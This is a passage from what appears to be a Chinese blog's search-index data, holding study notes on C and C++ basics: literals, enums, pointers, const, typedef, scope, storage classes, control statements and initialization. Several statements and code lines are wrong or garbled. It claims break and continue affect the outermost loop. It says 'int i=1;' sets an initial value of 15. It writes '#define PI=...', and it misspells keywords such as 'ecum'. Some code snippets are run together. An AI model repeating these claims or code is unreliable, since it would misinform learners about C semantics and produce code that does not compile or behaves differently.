0。如果在某种上下文环境中,这些特定的位非常重要时,那么把字面值写成十六进制形式可以使操作的含义对于读者而言更为清晰。\n如果一个值被当作字符使用,那么把这个值表示为字符常量可以使这个值的意思更为清晰。\n例如:\nvalue=value-48;value=value-\\60;\n和下面这条语句\nvalue=value-'0';\n的含义完全一样,但最后一条语句的含义更为清晰,它用于表示把一个字符转换为二进制值。更为重要的是,不管你所采用的是何种字符集,使用字符常量所产生的总是正确的值,所以它能提高程序的可移植性。\n枚举类型枚举(enumerated) 类型就是指它的值为符号常量而不是字面值的类型,它们以下面这个形式声明:\nenum JSJ{ CUP,PINT,QUART}\n\n这条语句声明了一共类型,称为 JSJ。这种类型的变量按下列方式声明:\necum JSJ jug,can,bottle\n\n如果某种特别的枚举类型的变量只使用一个声明,你可以把上面两条语句组合成下面的样子:\necum{CPU,PINT,QUART}\tjug,can,bottle;\n这种类型的变量实际上以整型的方式存储,这些符号名的实际值都是整型值。这里 CPU 是 0,PINT 是 1,以此类推。\n适当的时候你可以为这些符号名指定特定的整型值,如下所示:\nenum {CPU=1,PINT=2,CALLON=3}\n只对部分符号名用这种方式进行赋值也是合法的。如果某个符号名未显示指定一个值,那么它的值就比前面一个符号名的值大 1。\n\n提示:符号名被当作整型常量处理,声明为枚举类型的变量实际上是整数类型。这个事实意味着你可以给 Jar_Type 类型的变量赋诸如 -623这样的字面值,你也可以把 CPU 这个值赋给任何整型变量。但是你要避免以这种方式使用枚举,因为把枚举变量同整数无差别地混合在一起使用,会削弱它们值的含义。\n\n浮点型诸如 3.14159 和 6.324x10^2 这样的数值无法按照整数存储。第一个数并非整数,而第二个数远远超出了计算机整数所能表达的范围。但是,它们可以用浮点数的形式存储。它们通常以一个小数以及一个以某个假定数为基数的指数组成,例如:\n.3243fx16 .110010010000111111x2^2\n\n浮点数包括float、double和long double类型。通常,这些类型分别提供单精度、双精度以及在某些支持扩展精度的机器上提供扩展精度。C 标准仅仅规定long double至少和double一样长,而double至少和float一样长。标准同时规定了一个最小范围:所有浮点数类型至少能够容纳从 10^-37 到 10^37 之间的任何值。\n头文件float.h定义了名字FLT_MAX、DBL_MAX和LDBL_MAX,分别表示float、double和long double所能存储的最大值。而FLT_MIN、DBL_MIN和LDBL_MIN则分别表示float、double和long double能够存储的最小值。这个文件另外还定义一些和浮点值的实现有关的某些特性的名字,例如浮点数所使用的基数、不同长度的浮点数的有效数字的位数等。\n浮点数字面值重视写成十进制的形式,它必须有一个小数点或一个指数,也可以两者都有。\n例:\n3.14159 1E10 25. .5 6.023e23\n浮点数字面值在缺省情况下都是double类型的,除非它的后面跟一个 L 或 l 表示它是一个long double类型的值,或者跟一个 F 或 f 表示它是一个float类型的值。\n指针指针是 C 语言如此流行的一个重要原因。指针可以有效地实现诸如树和表这类高级数据结构。\n变量的值存储与计算机的内存中,每个变量都占据一个特定的位置。每个内存位置都由地址唯一确定并引用,就像一条街道上的房子由它们的门牌号码标识一样。指针只是地址的另一个名字罢了。指针变量就是一个其值为另外一个(一些)内存地址的变量。C语言拥有一些操作符,你可以获得一个变量的地址,也可以通过一个指针变量取得它所指向的值或数据结构。\n指针常量(pointer constant)指针常量与非指针常量在本质上是不同的,因为编译器负责把变量赋值给计算机内存中的位置,程序员实现无法指定某个特定的变量将存储到内存中的哪个位置。因此,你通过操作符获得一个变量的地址而不是之间把它的地址写成字面值常量的形式。\n例如,如果我们希望指定变量 xyz 的地址,我们无法书写一个类似0xff2044ec这样的值,因为我们不知道这是不是编译器实际存放这个变量的内存位置。事实上,当一个函数每次被调用时,它的自动变量(局部变量)可能每次分配的内存位置都不相同。因此,把指针常量表达式数值字面值的形式几乎没有用处,所以 C 语言内部并没有特地定义这个概念。\n字符串常量(string literal)字符串常量就是一串以NUL字节结尾的零个或多个字符。字符串通常存储在字符数组中,这也是 C 语言没有显示的字符串类型的原因。由于 NUL 字节是用于终结字符串的,所以在字符串内部不能有NUL字节。不过,在一般情况下,这个限制并不会造成问题。之所以选择NUL作为字符串的终止符,是因为它不是一个可打印的字符。\n字符串常量的书写方式是用一对双引号包围一串字符,如下所示:\n"Hello" "\\aWarning\\a" "Line 1\\nLine2" ""\n最后一个例子说明字符串常量(不像字符常量)可以是空的。尽管如此,即使是空字符串,依然存在作为终止符的 NUL 字节。\n\n如果在使用字符串时需要修改字符串,请把它存储于数组中。\n\n之所以把字符串常量和指针放在一起讨论,是因为在程序中使用字符串常量会生成一个 “指向字符的常量指针”。当一个字符串常量出现于一个表达式中时,表达式所使用的值就是这些字符所存储的地址,而不是这些字符本身。因此,你可以把字符串常量赋值给一个 “指向字符的指针”,后者指向这些字符所存储的地址。但是,你不能把字符串常量赋值给一个字符数组,因为字符串常量的直接值是一个指针,而不是这些字符本身。\n基本声明基本的数据类型已经知道了,接下来就要学习如何声明变量了。\n变量声明的基本格式:\n说明符 声明表达式列表\n对于简单的类型,声明表达式列表就是被声明的标识符的列表。对于更为复杂的类型,声明表达式列表种的每个条目实际上是一个表达式,显示被声明的名字的可能用途。\n说明符(specifier) 包含了一些关键字,用于描述被声明的标识符的基本类型。说明符也可以用于改变标识符的缺省存储类型和作用域。\n相等的整型声明:\n\n\n\n\n\n\n\n\nshort signed short\nunsigned short\n\n\nint signed int\nunsigned int\n\n\nlong signed long\nunsigned long\n\n\n初始化在一个声明中,你可以给一个标量变量指定一个初始值,方法是在变量名后面跟一个等号(赋值号),后面是你想要赋给变量的值。\n例:\nint i=1;\n这条语句声明 i 为一个整型变量,其初始值为 15。\n声明简单数组声明一个一维数组,在数组名后面要跟一对方括号,方括号里面是一个整数,指定数组中元素的个数。\n例:\nint values[10];\n上述代码中我们声明了一个整型数组,数组包含 10 个整型元素。\n我们可以从另一个角度理解上述代码,我们利用 名字 values 加一个下标,产生一个类型为 int 的值(共有 10 个整型值)。\n数组的下标总是从 0 开始,最后一个元素的下标是元素的数目减 1。\nC 数组另一个值得关注的地方是,编译器并不检查程序对数组下标的引用是否在数组的合法范围之内。这种不加检查的行为有好处也有坏处。好处是不需要浪费时间对有些已知是正确的数组下标进行检查。坏处是这样做将使无效的下标引用无法被检测出来。\n一个良好的经验法则是:\n如果下标值是从那些已知是正确的值计算得来,那么就无需检查它的值。如果一共用作下标的值是根据某种方法从用户输入的数据产生而来的,那么在使用它之前必须进行检测,确保它们位于有效的范围之内。\n声明指针声明表达式也可用于声明指针。\n例:\nint *a;\n这条语句表示 *a 产生的结果类型是int。知道了*操作符执行的是间接访问操作以后,我们可以推断 a 肯定是一个指向int的指针。\n\n警告:C 在本质上是一种自由形式的语言,这很容易诱使你把星号写在靠近类型的一侧,如:int * a;这个声明与前面一个声明具有相同的意思,而且看上去更为清楚,a 被声明为类型为 int* 的指针。\n\n隐式声明C 语言中有几种声明,它的类型名可以省略。\ntypedefC语言支持一种叫作 typedef 的机制,它允许你为各种数据类型定义新名字。typedef 声明的写法和普通的声明基本相同,只是把 typedef 这个关键字写在声明的前面。\n例:\ntypedef char * string;\n\n这个声明把标识符 string 作为指向字符的指针类型的新名字。你可以像使用基本类型一样在下面的声明中使用这个新名字。\n例如:\nstring name;\n声明 name 是一个指向字符的指针。\n使用typedef声明类型可以减少使声明变得又臭又长的危险,尤其是那些复杂的声明。而且,如果你以后觉得应该修改程序所使用的一些数据的类型时,修改一个typedef声明比修改程序中与这种类型的所有变量(和函数)的所有声明要容易得多。\n\n提示:你应该使用typedef而不是 #define来创建新的类型名,因为后者无法正确地处理指针类型。\n\n例如:\n#define d_ptr_to_char char *d_ptr_to_char a,b;\n正确地声明了 a,但是 b 却被声明为一个字符。在定义更为复杂的类型名字时,如函数指针或指向数组的指针,使用typedef更为合适。\n常量通过使用 const 关键字来声明常量。\n例:\nint const a;const int a;\n这两条语句都把 a 声明为一个整数,它的值不能被修改。\n当然,由于 a 的值无法被修改,所以你无法把任何东西赋值给它。如此一来,你怎样才能让它在一开始拥有一个值呢?\n有两种办法:首先,你可以在声明时对它进行初始化,如下所示:\nint const a =10\n其次,在函数中声明为 const 的形参在函数被调用时会得到实参的值。\n当涉及到指针变量时,情况就变得更加有趣,因为有两样东西都有可能成为常量——指针变量和它所指向的实体。\n例:\nint *pi;\npi 是一个普通的指向整型的指针。而变量\nint const *pci;\n则是一个指向整型常量的指针。你可以修改指针的值,但你不能修改它所指向的值。相比之下:\nint * const cpi;\n则声明 cpi 为一个指向整型的常量指针。此时指针是常量,它的值无法修改,但你可以修改它所指向的整型的值。\nint const * const cpci;\n最后,在 cpci 这个例子里,无论是指针本身还是它所指向的值都是常量,不允许修改。\n\n当你声明变量时,如果变量的值不会被修改,你应当在声明中使用 const 关键字。\n\n#define指令是另一种创建名字常量的机制。\n例:\n#define PI=3.1415926535const double pi=PI;\n在这种情况下,使用#define比使用 const 变量更好。因为只要允许使用字面值常量的地方都可以使用前者,比如声明数组的长度。 const 变量只能用于允许使用变量的地方。\n\n提示:名字常量非常有用,因为它们可以给数值起符号名,否则它们就只能写成字面值的形式\n\n作用域当变量在程序的某个部分被声明时,它只有在程序的一定区域才能被访问。这个区域由标识符的作用域(scope)决定。标识符的作用域就是程序中该标识符可以被使用的区域。例如,函数的局部变量的作用域局限于该函数的函数体。这个规则意味着两点。首先,其它函数都无法通过这些变量的名字访问它们,因为这些变量在它们的作用域之外便不再有效。其次,只要分属不同的作用域,你可以给不同的变量起同一个名字。\n编译器可以确认 4 种不同类型的作用域——文件作用域、函数作用域、代码块作用域和原型作用域。标识符声明的位置决定它的作用域。标识符声明的位置决定它的作用域。\n代码块作用域位于一对花括号之间的所有语句称为一个代码块。任何在代码块的开始位置声明的标识符都具有代码块作用域(block scope) ,表示它们可以被这个代码块中的所有语句访问。\n当代码块处于嵌套状态时,声明与内层代码块的标识符的作用域到达该代码块的尾部便告终止。然而,如果内层代码块有一个标识符的名字与外层代码块的一个标识符同名,内层的那个标识符就将隐藏外层的标识符——外层的那个标识符无法在内层代码块中通过名字访问。\n\n提示:你应该避免在嵌套的代码块中出现相同的变量名。\n\n文件作用域任何在代码块之外声明的标识符都具有文件作用域(file scope),它表示这些标识符从它们的声明之处知道它所在的源文件结尾处都是可以访问的。在文件中定义的函数名也具有文件作用域,因为函数名本身并不属于任何代码块。我应该指出,在头文件中编写并通过#include指令包含到其他文件中的声明就好像它们是直接写在那些文件中一样。它们的作用域并不局限于头文件的文件尾。\n原型作用域原型作用域(prototype scope) 只适用于在函数原型中声明的参数名。在原型中(与函数的定义不同),参数的名字并非必需。但是,如果出现参数名,你可以随你所愿给它们取任何名字,它们不必与函数定义中的形参名匹配,也不必与函数实际调用时所传递的实参匹配。原型作用域防止这些参数名与程序其他部分的名字冲突。事实上,唯一可能出现的冲突就是在同一个原型中不止一次地使用同一个名字。\n函数作用域最后一种作用域的类型是函数作用域(function scope)。它只适用于语句标签,语句标签用于 goto 语句。基本上,函数作用域可以简化为一条规则——一个函数中的所有语句标签必须唯一。\n链接属性当组成一个程序的各个源文件分布被编译之后,所有的目标文件以及那些从一个或多个函数库中引用的函数链接在一起,形成可执行程序。\n标识符的链接属性(linkage) 决定如何处理在不同文件中出现的标识符。标识符的作用域与它的链接属性有关,但这两个属性并不相同;\n链接属性一共有 3 种——external(外部)、internal(内部)和 none(无)。没有链接属性的标识符(none)总是被当作单独的个体,也就是说该标识符的多个声明被当作独立不同的实体。\n存储类型变量的存储类型(storage class)是指存储变量值的内存类型。变量的存储类型决定变量何时创建\n变量的缺省存储类型取决于它的声明位置。凡是在任何代码块之外声明的变量总是存储于静态内存中,也就是不属于堆栈的内存,这类变量称为静态(static)变量。对于这类变量,你无法为它们指定其他存储类型。静态变量在程序运行之前创建,在程序的整个指向期间始终存在。它始终保持原先的值,除法给它赋一个不同的值或者程序结束。\nstatic关键字当用于不同的上下文环境时,static 关键字具有不同的意思。\n当它用于函数声明时,或用于代码块之外的变量声明时,static 关键字用于修改标识符的链接属性,从 external 改为 internal,但标识符的存储类型和作用域不受影响。用这种方式声明的函数或变量只能在声明它们的源文件种访问。\n当它用于代码块内部的变量声明时,static 关键字用于修改变量的存储类型,从自动变量修改为静态变量,但变量的链接属性和作用域不受影响。用这种方式声明的变量在程序执行之前创建,并在程序的整个执行期间一直存在,而不是每次在代码块开始执行时创建,在代码块执行完毕后销毁。即存储在数据段而不是堆栈。\n","categories":["编程"],"tags":["C"]},{"title":"C chapter3 语句","url":"/2024/10/27/program/c/c-ptr-3/","content":"空语句C 最简单的语句就是空语句,它本身只包含一个分号。空语句本身并不执行任何任务,但有时还是有用的。它所适用的场合就是语法要求出现一条完整的语句,但并不需要它执行任何任务。\n表达式语句C 并不存在专门的 “赋值语句”,它通过表达式进行赋值。只需要在表达式后面加上一个分号,就可以把表达式转变为语句。\nx=y+3;ch=getchar();\n实际上是表达式语句,而不是赋值语句。\n\n警告:理解这点很重要,因为像下面这样的语句也是完全合法的:\n\ny+3;getchar()\n\n所谓语句 ”没有效果“ 只是表达式的值被忽略。printf函数所执行的是有用的工作,这类作用称为 ”副作用(side effect)“。\n代码块代码块就是位于一对花括号之内的可选的声明和语句列表。\n{\tdeclarations\tstatemente}\n\nif语句if(expression){\tstatement}else\tstatement\n括号是if语句的一部分,而不是表达式的一部分,因此它是必须出现的,即使是那些极为简单的表达式也是如此。\nwhile语句while(expression){\tstatement}\n循环的测试在循环体开始执行之前开始,所以如果测试的结构一开始就是假,循环体就根本不会执行。同样,当循环体需要多条语句来完成任务时,可以使用代码块来实现。\nbreak和continue语句在while循环中可以使用break语句,用于永久终止循环。在执行完break语句之后,执行流下一条执行的语句就是循环正常结束后应该执行的那条语句。\n在while循环中也可以使用continue语句,它用于永久终止当前的那次循环。在执行完continue语句之后,执行流接下来就是重新测试表达式的值,决定是否继续执行循环。\n这两条语句的任何一条如果出现于嵌套的循环内部,它只对最外层的循环起作用,你无法使用break或continue语句影响外层循环的执行。\nwhile语句的执行过程\n\n提示:偶尔,while语句在表达式中就可以完成整个语句的任务,于是循环体就无事可做。在这种情况下,循环体就用空语句来表示。单独用一行来表示一条空语句是比较好的做法,如下面的循环所示,它丢弃当前输入行的剩余字符。\n\nwhile((ch=getchar())!=EOF && ch!='\\n')\t;\n\nfor语句C的for语句比其它语言的for语句更为常用,事实上,C的for语句是while循环的一种极为常用的语句组合形成的简写法。for语句的语法如下所示:\nfor(expressionl;expression2;expression3)\tstatement\n\n在for语句中也可以使用break语句和continue语句。break语句立即退出循环,而continue语句把控制流直接转移到调整部分。\nfor语句的执行过程\nfor语句和while语句执行过程的区别在于出现continue语句时。在for语句中,continue语句跳过循环体的剩余部分,直接回到调整部分。在while语句中,调整部分是循环体的一部分,所以continue将会把它也跳过。\ndo语句C语言的do语句非常像其他语言的repeat语句。它很像while语句,只是它的测试在循环体执行之后才进行,而不是先于循环体执行。所以,这种循环的循环体至少执行一次。下面是它的语法。\ndo \tstatementwhile(expression)\n当你需要循环体至少执行一次时,选择do。\nswitch语句C的switch语句颇不寻常。它类似于其他语言的case语句,但在有一个方法存在重要的区别。首先让我们来看看它的语法,其中expression的结果必须是整型值。\nswitch(expression)\tstatement\n尽管在switch语句体内只使用一条单一的语句也是合法的,但这样做毫无意义。\n实际使用中的switch语句一般如下所示:\nswitch(expression){\tstatement-list}\n贯穿于语句列表之间的是一个或多个case标签,形式如下:\ncase constant-expression:\n每个case标签必须有一个唯一的值。常量表达式(constant-expression)是指在编译期间进行求值的表达式,它不能是任何变量。这里不同寻常之处是case标签并不把语句列表划分为几个部分,它们只是确定语句列表的进入点。\n首先计算expression的值,然后执行流跳转到匹配的语句。之后执行到底部。\nswitch中的break语句如果在switch语句的执行中遇到了break语句,执行流就会立即跳到语句列表的末尾。\nswitch(command){case 'A':\tadd_entry();\tbreak;case 'B':\tdelete_enery();\tbreak;}\n\nbreak语句的实际效果是把语句列表划分为不同的部分。这样,switch语句就能够按照更为传统的方式工作。\n在switch语句中,continue语句没有任何效果。只有当switch语句位于某个循环内部时,你才可以把continue语句放在switch语句内。在这种情况下,与其说,continue语句作用于switch语句,还不如它作用于循环。\ndefault子句我们在case标签后面加上一个default。当switch表达式的值并不匹配所有case标签的值时,这个default子句后面的语句就会执行。\n每个default语句中只能出现一条default子句。\ndefault:\n\n\n提示:在每个switch语句中都放上一条default子句是个好习惯。\n\nswitch语句的执行过程在处理四个以上分支时,switch语句就是查找表。\ngoto语句语法:\ngoto 语句标签;\n\n要使用goto语句,你必须在你希望调跳转的语句前面加上语句标签。语句标签就是标识符后面加个冒号。包含这些标签的goto语句可以出现在同一个函数中的任何位置。\n\n注意:goto需要谨慎使用。\n\n","categories":["编程"],"tags":["C"]},{"title":"C++ chapter2 变量和基本类型","url":"/2024/10/24/program/cpp/cpp-2/","content":"基本内置类型C++定义了一组表示整数、浮点数、单个字符和布尔值的算术类型(arithmetic type),另外还定义了一种称为void的特殊类型。void类型没有对应的值,仅用于在有限的一些情况下,通常用作无返回值函数的返回类型。\n\n\n\n类型\n含义\n最小存储空间\n\n\n\nbool\n布尔型\n—\n\n\nchar\n字符串型\n8位\n\n\nwchar_t\n宽字符型\n16位\n\n\nshort\n短整型\n16位\n\n\nint\n整型\n16位\n\n\nlong\n长整型\n32位\n\n\nfloat\n单精度浮点数\n6位有效数字\n\n\ndouble\n双精度浮点数\n10位有效数字\n\n\nlong double\n扩展精度浮点数\n10位有效数字\n\n\n\n因为位数的不同,这些类型所能表示的最大(最小)值也因机器的不同而有所不同。\n\n整型表示整数,字符和布尔值的算术类型合称为整型(integral type)\n字符类型有两种:char和wchar_t。char类型保证了有足够的空间,能够存储机器基本字符集中任何字符的相应的数值,因此char类型通常是单个机器字节(byte)。wchar_t类型用于扩展字符集,比如汉字和日语。\nbool类型表示真值true和false。可以将算术类型的任何值赋给bool对象。0值算术类型代表false,任何非0的值都代表true。\n1.带符号和无符号类型\n除bool类型外,整型可以是带符号的(signed) ,也可以是无符号的(unsigned) 。顾名思义,带符号类型可以表示整数也可以表示负数(包括0),而无符号类型只能表示大于或等于0的数。\n2.整型值的表示\n无符号型中,所以的位都表示数值。如果在某种机器中,定义一种类型使用8位表示,那么这种类型的unsigned型可以取值0到255。\nC++标准并未定义signed类型如何用位来表示,而是由每个编译器自由决定如何表示signed类型。这些表示方式会影响signed类型的取值范围。8位signed整型取值是从-128到127.\n3.整型的赋值对象的类型决定对象的取值。\n当将超过取值范围的值赋给signed类型时,由编译器决定实际赋的值。在实际操作中,很多的编译器处理signed的方式和unsigned类型类似。也就是说,赋值时是取该值对该类型取值数目求模后的值。\n\n注意:C++中,把负值赋给unsigned对象是完全合法的,其结果是该负数对该类型的取值个数求模后的值。所以,如果把-1赋给8位的unsigned char,那么结果是255,因为255是-1对256求模后的值。\n\n浮点型类型float、double和long double分别表示单精度浮点数、双精度浮点数和扩展精度浮点数。一般float类型用一个字(32位)表示,double类型用两个字(64位)来表示,long double类型用三个或四个字(96或128位)来表示。类型的取值范围决定了浮点数所含的有效数字位数。\n\n注意:对于实际的程序来说,float类型精度通常是不够的——float型只能保证6位有效数字,而double型可以保证10位有效数字,能满足大多数计算的需要。\n\n字面值常量像 42 这样的值,在程序中被当作字面值常量。称之为字面值是因为只能用它的值称呼它,称之为常量是因为它的值不能修改。每个字面值都有相应的类型。只有内置类型存在字面值,没有类类型的字面值。因此,也没有任何标准库类型的字面值。\n1.整型字面值规则\n 定义字面值整数常量可以使用以下三种进制中的任一种:十进制、八进制和十六进制。当然这些进制不会改变其二进制位的表示形式。\n200240x14\n\n字面值整数常量的类型默认为int和long类型。其精度类型决定于字面值——其值适合int就是int类型,比int大的值就是long类型。通过增加后缀,能够强制将字面值整数常量转换为long、unsigned或unsigned long类型。通过在数值后面加L或者l指定常量为long类型。\n\n提示:定义长整型时,应该使用大写字母L。小写字母l很容易和数值1混淆。\n\n类似地,可通过在数值后面加U或u定义unsigned类型。同时加L和U就能够得到unsigned long类型的字面值常量。但其后缀不能有空格:\n128u 1024UL1L 8Lu\n\n没有short类型的字面值常量。\n2.浮点字面值规则\n通常可以使用十进制或者科学计数法来表示浮点字面值常量。使用科学计数法时,指数用E或者e表示。默认的浮点字面值常量为double类型。在数值的后面加上F或f表示单精度。同样加上L或者l表示扩展精度。\n3.14159F .001f 12.345L 0.3.14159E0f 1E-3F 1.2345E1L 0e0\n\n\n3.布尔字面值和字符字面值单词true和false是布尔型的字面值:\nbool test=false\n\n可打印的字符型字面值通常用一对单引号来定义:\n'a' '2' ',' ''\n这些字面值都是char类型的,在字符字面值前加L就能够得到wchar_t类型的宽字符字面值。\nL'a'\n\n\n4.非打印字符的转义序列有些字符是不可打印的。不可打印字符实际上是不可显示的字符,比如推个或者控制符。还有一些在语言中有特殊意义的字符,例如单引号、双引号和反斜杠符号。不可打印字符和特殊字符都用转义字符书写。转义字符都以反斜线符号开始,C++中定义了如下转义字符:\n\n\n\n\n\n\n\n\n换行符 \\n\n水平制表符 \\t\n\n\n纵向制表符 \\v\n退格符 \\b\n\n\n回车符 \\r\n进纸符 \\f\n\n\n响铃符 \\a\n反斜线 \\\\\n\n\n疑问号 \\?\n单引号 \\'\n\n\n双引号\\"\n\n\n\n我们可以将任何字符表示为以下形式的同样转义字符:\n\\ooo\n这里ooo表示三个八进制数字,这三个数字表示字符的数字值。\n下面是用ASCII码字符集表示字面值常量:\n\\7(响铃符) \\12(换行符) \\40(空格符)\\0(空字符) \\062('2') \\115('M')\n字符\\0通常表示“空字符”。同样也可以使用十六进制转义字符来定义字符:\n\\xddd\n\n它由一个反斜线符、一个x和一个或者多个十六进制数字组成。\n5.字符串字面值之前见过的所有字面值都有基本内置类型。还有一种字面值(字符串字面值)更加复杂。字符串字面值是一串常量字符。\n字符串字面值常量用双引号括起来的零个或者多个字符表示。不可打印字符表示成相应的转义字符。\n“hello world\\n”\n\n为了兼容C语言,C++中所有的字符串字面值都由编译器自动在末尾加一个空字符。\n字符字面值表示单个字符A,\n'A'\n然而\n"A"\n表示包含字符A和空字符两个字符的字符串。\n也存在宽字符串字面值,一样在前面加“L”,如\nL"hello world"\n\n宽字符串字面值是一串常量宽字符,同样以一个宽空字符结束。\n6.字符串字面值的连接\n两个相邻的仅由空格、制表符或换行符分开的字符串字面值(或宽字符串字面值),可连接成一个新字符串字面值。这使得多行书写字符串字面值变得简单:\nstd::cout<<"hello"\t\t\t"world"\t\t\t<<std::endl;\n\n如果连接字符串字面值和宽字符串字面值,其结果是未定义的,也就是说,连接不同类型的行为标准没有定义。这个程序可能会执行,也可能会崩溃或者产生没有用的值,而且在不同的编译器下程序的动作可能不同。\n7.多行字面值\n处理长字符串有一个更基本的(但不常使用)方法,这个方法依赖于很少使用的程序格式化特性:在一行的末尾加一反斜线符号可将此行和下一行当作同一行处理。\nstd::cou\\t<<"Hi"<<st\\d::endl;\n\n等价于\nstd::cout<<"Hi"<<std::endl;\n注意反斜线符号必须是该行的尾字符——不允许其后面有注释或空格。同样,后继行行首的任何空格和制表符都是字符串字面值的一部分。正因如此,长字符串字面值的后继行才不会有正常的缩进。\n变量什么是变量变量提供了程序可以操作的有名字的存储区。C++中的每一个变量都有特定的类型,该类型决定了变量的内存大小和布局、能够存储与该内存中的值的取值范围以及可应用在该变量上的操作集。C++程序员常常把变量称为 “变量” 或 “对象”。\n左值和右值\n\n左值(lvalue):左值可以出现在赋值语句的左边或右边。\n右值(rvalue):右值只能出现在赋值的右边,不能出现在赋值语句的左边。\n\n变量是左值,因此可以出现在赋值语句的左边。数字字面值是右值,因此不能被赋值。给定以下变量:\nint units_sold=0;double sales_price=0\n\n有些操作符,比如赋值,要求其中的一个操作数必须是左值。结果,可以使用左值的上下文比右值更广。左值出现的上下文决定了决定了左值是如何使用的。\nunits_sold=uints_sold+1;\nuints_sold变量被用作两种不同操作符的操作数。+操作符仅关心其操作数的值。变量的值是当前存储在和该变量关联的内存中的值。加法操作符的作用是取得变量的值并加1。\n变量units_sold也被用作=操作符的左操作数。=操作符读取右操作数并写到左操作数。\n变量名变量名,即变量的标识符(identifier),可以由字母、数字和下划线组成。变量名必须以字母或下划线开头,并且区分大小写字母:C++中的标识符都是大小写敏感的。下面定义了4个不同的标识符:\nint somename,someName,SomeName,SOMENAME;\n\n\n1.C++关键字\n\n\n\n\n\nC++关键字\n\n\n\n\n\nasm\ndo\nif\nreturn\ntry\n\n\nauto\ndouble\ninline\nshort\ntypedef\n\n\nbool\ndynamic_cast\nint\nsigned\ntypeid\n\n\nbreak\nelse\nlong\nsizeof\ntypename\n\n\ncase\nenum\nmutable\nstatic\nunion\n\n\ncatch\nexplicit\nnamespace\nstatic_cast\nunsigned\n\n\nchar\nexport\nnew\nstruct\nusing\n\n\nclass\nextern\noperator\nswitch\nvirtual\n\n\nconst\nfalse\nprivate\ntemplate\nvoid\n\n\ncontinue\nfor\npublic\nthrow\nwchar_t\n\n\ndefault\nfriend\nregister\ntrue\nwhile\n\n\ndelete\ngoto\nreinterpret_cast\n\n\n\n\nC++还保留了一些词用作各种操作符的替代名。这些替代名用于支持某些不支持标准C++操作符符合集的字符集。它们也不能用作标识符。\n\n\n\n\nC++\n操作符\n替代名\n\n\n\n\n\nand\nbitand\ncompl\nnot_eq\nor_eq\nxor_eq\n\n\nand_eq\nbitor\nnot\nor\nxor\n\n\n\n除了关键字,C++标准还保留了一组标识符用于标准库。标识符不能包含两个连续的下划线,也不能以下划线开头后面紧跟一个大写字母。有些标识符(在函数外定义的标识符)不能以下划线开头。\n2.变量命名习惯\n变量命名有许多被普遍接受的习惯,遵循这些习惯可以提供程序的可读性。\n\n变量名一般用小写字母。\n标识符应使用能帮助记忆的名字。\n包含多个词的标识符书写为在每个词之间添加一个下划线,或者每个内嵌的词的第一个字母都大写。\n\n\n注意:命名习惯最重要的是保持一致。\n\n定义对象下列语句定义了5个变量:\nint units_sold;double sales_price,avg_prive;std::string title;Sales_item curr;\n\n每个定义都是以类型说明符(type specifier) 开始,后面紧跟着以逗号分开的含有一个或多个说明符的列表。分号结束定义。类型说明符指定与对象相关联的类型:int、double、std::string和Sales_item都是类型名。其中int和double是内置类型,std::string是标准库定义的类型。\n类型决定了分配给变量的存储空间的大写和可以在其上执行的操作。\n多个变量可以定义在同一条语句中:\ndouble salary,wage;int month,\tday,year;std::string address;\n\n1.初始化\n变量定义指定了变量的类型和标识符,也可以为对象提供初始值。定义是指定了初始值的对象被称为已初始化的(initialized)。C++支持两种初始化变量的形式:复制初始化(copy-initialization) 和直接初始化(direct-initialization)。复制初始化语法用等号(=),直接初始化则是把初始化式放在括号中:\nint ival(1024); //直接初始化int ival=1024; //复制初始化\n\n使用=来初始化变量使得许多C++编程新手感到迷惑,他们很容易把初始化当成是赋值的一种形式。但是在C++中初始化和赋值是两种不同的操作。\n2.使用多个初始化式\n初始化内置类型的对象只有一种方法:提供一个值,并且把这个值复制到新定义的对象中。对内置类型来说,复制初始化和直接初始化几乎没有差别。\n对类类型的对象来说,有些初始化仅能用直接初始化完成。要想理解其中缘由,需要初步了解类是如何控制初始化的。\n每个类都可能会定义一个或几个特殊的成员函数来告诉我们如何初始化类类型的变量。定义如何进行初始化的成员函数称为构造函数(constructor)。和其他函数一样,构造函数能接受多个参数。一个类可以定义几个构造函数,每个构造函数必须接受不同数目或者不同类型的参数。\n我们以string类为例。string类型在标准库中定义,用于存储不同长度的字符串。使用string时必须包含string头文件。和IO类型一样,string定义在std命名空间中。\nstring类定义了几个构造函数,使得我们可以用不同的方式初始化string对象。其中一种初始化string对象的方式是作为字符串字面值的副本:\n#include<string>std::string titleA="C++ Primer";std::string titleB("C++ Primer");\n本例中,两种初始化方式都可以使用。两种定义都创建了一个string对象,其初始值都是指定的字符串字面值的副本。\n也可以通过一个计数器和一个字符初始化string对象。这样创建的对象包含重复多次的指定字符,重复次数由计数器指定。\nstd::string all_nines(10,'9');\n本例中,初始化 all_nines 的唯一方法是直接初始化。有多个初始化式时不能使用复制初始化。\n3.初始化多个变量\n当一个定义中定义了两个以上变量的时候,每个变量都可能有自己的初始化式。对象的名字立即变成可见,所以可以用同一个定义中前面已定义变量的值初始化后面的变量。已初始化变量和未初始化变量可以在同一个定义中定义。两种形式的初始化文法可以相互混用。\n#include <string>double salary=999.99,\twage(salary+0.01);int interval,\tmonth=9,day=7,year=1955;std::string title("C++ Primer"),\tpublisher="A-W";\n\n对象可以用任意复杂的表达式(包含函数的返回值)来初始化:\ndouble price=109.99,discount=0.16;\n\n变量初始化规则当定义没有初始化式的变量时,系统有时候会帮我们初始化变量。这时,系统提供什么样的值取决于变量的类型,也取决于变量定义的位置。\n1.内置类型变量的初始化\n内置类型变量是否自动初始化取决于变量定义的位置。在函数体外定义的变量都初始化成0,在函数体里定义的内置类型变量不进行自动初始化。除了用作赋值操作符的左操作数,未初始化变量用作任何其他用途都是没有定义的。未初始化变量引起的错误难以发现。\n\n注意:建议每个内置类型的对象都要初始化。\n\n2.类类型变量的初始化\n每个类都定义了该类型的对象可以怎样初始化。类通过定义一个或多个构造函数来控制类对象的初始化。\n如果定义某个类的变量时没有提供初始化式,这个类也可以定义初始化时的操作。它是通过定义一个特殊的构造函数即默认构造函数(default constructor)来实现的。这个构造函数之所以被称作默认构造函数,是因为它是 “默认” 运行的。如果没有提供初始化式,那么就会使用默认构造函数。不管变量在哪里定义,默认构造函数都会被使用。\n大多数类都提供了默认构造函数。如果类具有默认构造函数,那么就可以在定义该类的变量时不用显示地初始化变量。例如,string类定义了默认构造函数来初始化string变量为空字符串,既没有字符的字符串:\nstd::string empty;\n\n有些类类型没有默认构造函数。对于这些类型来说,每个定义都必须提供显示的初始化式。没有初始值是根本不可能定义这种类型的变量的。\n声明和定义正如前面所看到的那样,C++程序通常由许多文件组成。为了让多个文件访问相同的变量,C++区分了声明和定义。\n变量的定义(definition) 